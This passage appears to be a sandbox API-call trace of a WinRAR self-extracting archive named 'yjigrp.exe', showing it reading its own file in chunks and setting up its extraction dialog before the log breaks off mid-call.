OleInitialize (pvReserved=0x0) returned 0x0 [0050.958] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x6ff944 | out: lpCPInfo=0x6ff944) returned 1 [0050.959] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe\" " [0050.959] SetEnvironmentVariableW (lpName="sfxcmd", lpValue="\"C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe\" ") returned 1 [0050.959] SetEnvironmentVariableW (lpName="sfxpar", lpValue="") returned 1 [0050.959] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8b47f0, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\yjigrp.exe")) returned 0x22 [0050.959] SetEnvironmentVariableW (lpName="sfxname", lpValue="C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe") returned 1 [0050.959] GetLocalTime (in: lpSystemTime=0x6ff970 | out: lpSystemTime=0x6ff970*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x5, wDay=0xc, wHour=0xb, wMinute=0x3, wSecond=0x3b, wMilliseconds=0x86)) [0050.959] GetLastError () returned 0x0 [0050.959] SetLastError (dwErrCode=0x0) [0050.959] SetEnvironmentVariableW (lpName="sfxstime", lpValue="2020-06-12-11-03-59-134") returned 1 [0050.960] GetModuleHandleW (lpModuleName=0x0) returned 0x860000 [0050.960] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77260000 [0050.960] GetProcAddress (hModule=0x77260000, lpProcName="LoadIconW") returned 0x77288420 [0050.960] LoadIconW (hInstance=0x860000, lpIconName=0x64) returned 0x1501d9 [0050.962] GetProcAddress (hModule=0x77260000, lpProcName="LoadBitmapW") returned 0x77282b80 [0050.962] LoadBitmapW (hInstance=0x860000, lpBitmapName=0x65) returned 0x36050514 [0050.964] GetSystemDirectoryW (in: lpBuffer=0x6fe940, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0050.964] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\riched20.dll") returned 0x73da0000 [0052.001] OleInitialize (pvReserved=0x0) returned 0x1 [0052.001] LoadLibraryExA (lpLibFileName="COMCTL32.dll", hFile=0x0, dwFlags=0x0) returned 0x73b30000 [0052.664] GetProcAddress (hModule=0x73b30000, lpProcName="InitCommonControlsEx") returned 0x73baa480 [0052.664] InitCommonControlsEx (picce=0x6ff950) returned 1 [0052.666] LoadLibraryExA (lpLibFileName="SHELL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75a80000 [0056.863] GetProcAddress (hModule=0x75a80000, lpProcName="SHGetMalloc") returned 0x75bedf80 [0056.863] SHGetMalloc (in: ppMalloc=0x8a20d8 | out: ppMalloc=0x8a20d8*=0x756fd000) returned 0x0 [0056.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\yjigrp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x204 [0056.864] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x0 [0056.864] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.864] SetFilePointer (in: hFile=0x204, lDistanceToMove=8176, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x1ff0 [0056.864] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x1ff0 [0056.864] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.865] SetFilePointer (in: hFile=0x204, lDistanceToMove=16352, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x3fe0 [0056.865] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x3fe0 [0056.865] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.865] SetFilePointer (in: hFile=0x204, lDistanceToMove=24528, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x5fd0 [0056.865] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x5fd0 [0056.865] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.865] SetFilePointer (in: hFile=0x204, lDistanceToMove=32704, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x7fc0 [0056.865] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x7fc0 [0056.865] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.865] SetFilePointer (in: hFile=0x204, lDistanceToMove=40880, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x9fb0 [0056.865] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x9fb0 [0056.865] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.865] SetFilePointer (in: hFile=0x204, lDistanceToMove=49056, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0xbfa0 [0056.865] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0xbfa0 [0056.865] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=57232, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0xdf90 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0xdf90 [0056.866] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=65408, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0xff80 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0xff80 [0056.866] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=73584, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x11f70 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x11f70 [0056.866] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=81760, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x13f60 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x13f60 [0056.866] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=89936, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x15f50 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x15f50 [0056.866] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=98112, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x17f40 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x17f40 [0056.866] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=106288, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x19f30 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x19f30 [0056.866] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=114464, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x1bf20 [0056.866] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x1bf20 [0056.867] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.867] SetFilePointer (in: hFile=0x204, lDistanceToMove=122640, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x1df10 [0056.867] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x1df10 [0056.867] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.867] SetFilePointer (in: hFile=0x204, lDistanceToMove=130816, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x1ff00 [0056.867] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x1ff00 [0056.867] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.867] SetFilePointer (in: hFile=0x204, lDistanceToMove=138992, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x21ef0 [0056.867] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x21ef0 [0056.867] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.867] SetFilePointer (in: hFile=0x204, lDistanceToMove=147168, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x23ee0 [0056.867] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x23ee0 [0056.867] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.867] SetFilePointer (in: hFile=0x204, lDistanceToMove=155344, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x25ed0 [0056.867] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x25ed0 [0056.867] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.867] SetFilePointer (in: hFile=0x204, lDistanceToMove=163520, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x27ec0 [0056.867] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x27ec0 [0056.868] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.868] SetFilePointer (in: hFile=0x204, lDistanceToMove=171696, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x29eb0 [0056.868] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x29eb0 [0056.868] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.868] SetFilePointer (in: hFile=0x204, lDistanceToMove=179872, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x2bea0 [0056.868] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x2bea0 [0056.868] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.868] SetFilePointer (in: hFile=0x204, lDistanceToMove=188048, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x2de90 [0056.868] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x2de90 [0056.868] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.868] SetFilePointer (in: hFile=0x204, lDistanceToMove=196224, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x2fe80 [0056.868] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x2fe80 [0056.868] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.868] SetFilePointer (in: hFile=0x204, lDistanceToMove=204400, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x31e70 [0056.868] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x31e70 [0056.868] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.869] SetFilePointer (in: hFile=0x204, lDistanceToMove=212576, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x33e60 [0056.869] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x33e60 [0056.869] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.869] SetFilePointer (in: hFile=0x204, lDistanceToMove=220752, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x35e50 [0056.869] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x35e50 [0056.869] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.869] SetFilePointer (in: hFile=0x204, lDistanceToMove=228928, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x37e40 [0056.869] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x37e40 [0056.869] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.869] SetFilePointer (in: hFile=0x204, lDistanceToMove=237104, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x39e30 [0056.869] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x39e30 [0056.869] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.869] SetFilePointer (in: hFile=0x204, lDistanceToMove=245280, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x3be20 [0056.869] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x3be20 [0056.869] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.869] SetFilePointer (in: hFile=0x204, lDistanceToMove=253456, lpDistanceToMoveHigh=0x6fb8dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6fb8dc*=0) returned 0x3de10 [0056.869] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x6fb8ec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6fb8ec*=0) returned 0x3de10 [0056.869] ReadFile (in: hFile=0x204, lpBuffer=0x6fc900, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x6fb8bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc900*, lpNumberOfBytesRead=0x6fb8bc*=0x2000, lpOverlapped=0x0) returned 1 [0056.870] CloseHandle (hObject=0x204) returned 1 [0056.870] GetModuleHandleW (lpModuleName=0x0) returned 0x860000 [0056.870] FindResourceW (hModule=0x860000, lpName="RTL", lpType=0x5) returned 0x0 [0056.870] GetProcAddress (hModule=0x77260000, lpProcName="DialogBoxParamW") returned 0x772b21c0 [0056.906] DialogBoxParamW (hInstance=0x860000, lpTemplateName="STARTDLG", hWndParent=0x0, lpDialogFunc=0x87939b, dwInitParam=0x0) returned 0x1 [0057.861] GetProcAddress (hModule=0x77260000, lpProcName="GetWindowRect") returned 0x77286c50 [0057.861] GetWindowRect (in: hWnd=0x201cc, lpRect=0x6f4fe8 | out: lpRect=0x6f4fe8) returned 1 [0057.861] GetProcAddress (hModule=0x77260000, lpProcName="GetClientRect") returned 0x77279650 [0057.861] GetClientRect (in: hWnd=0x201cc, lpRect=0x6f5008 | out: lpRect=0x6f5008) returned 1 [0057.861] GetProcAddress (hModule=0x77260000, lpProcName="GetWindowTextW") returned 0x7726eac0 [0057.861] GetWindowTextW (in: hWnd=0x201cc, lpString=0x6f5018, nMaxCount=1024 | out: lpString="WinRAR self-extracting archive") returned 30 [0057.862] GetProcAddress (hModule=0x77260000, lpProcName="SetWindowTextW") returned 0x7726d0c0 [0057.862] SetWindowTextW (hWnd=0x201cc, lpString="WinRAR self-extracting archive") returned 1 [0057.862] GetProcAddress (hModule=0x77260000, lpProcName="GetSystemMetrics") returned 0x7728ddc0 [0057.862] GetSystemMetrics (nIndex=8) returned 3 [0057.862] GetProcAddress (hModule=0x77260000, lpProcName="GetWindow") returned 0x7728d880 [0057.862] GetWindow (hWnd=0x201cc, uCmd=0x5) returned 0x50218 [0057.862] GetWindowTextW (in: hWnd=0x50218, lpString=0x6f5018, nMaxCount=1024 | out: lpString="") returned 0 [0057.862] GetWindow (hWnd=0x50218, uCmd=0x2) returned 0x70048 [0057.862] GetWindowTextW (in: hWnd=0x70048, lpString=0x6f5018, nMaxCount=1024 | out: lpString="&Destination folder") returned 19 [0057.863] SetWindowTextW (hWnd=0x70048, lpString="&Destination folder") returned 1 [0057.863] GetWindow (hWnd=0x70048, uCmd=0x2) returned 0x70044 [0057.863] GetWindowTextW (in: hWnd=0x70044, lpString=0x6f5018, nMaxCount=1024 | out: lpString="") returned 0 [0057.863] GetWindow (hWnd=0x70044, uCmd=0x2) returned 0x5002c [0057.863] GetWindowTextW (in: hWnd=0x5002c, lpString=0x6f5018, nMaxCount=1024 | out: lpString="Bro&wse...") returned 10 [0057.863] SetWindowTextW (hWnd=0x5002c, lpString="Bro&wse...") returned 1 [0057.863] GetWindow (hWnd=0x5002c, uCmd=0x2) returned 0x5002a [0057.863] GetWindowTextW (in: hWnd=0x5002a, lpString=0x6f5018, nMaxCount=1024 | out: lpString="") returned 0 [0057.863] GetWindow (hWnd=0x5002a, 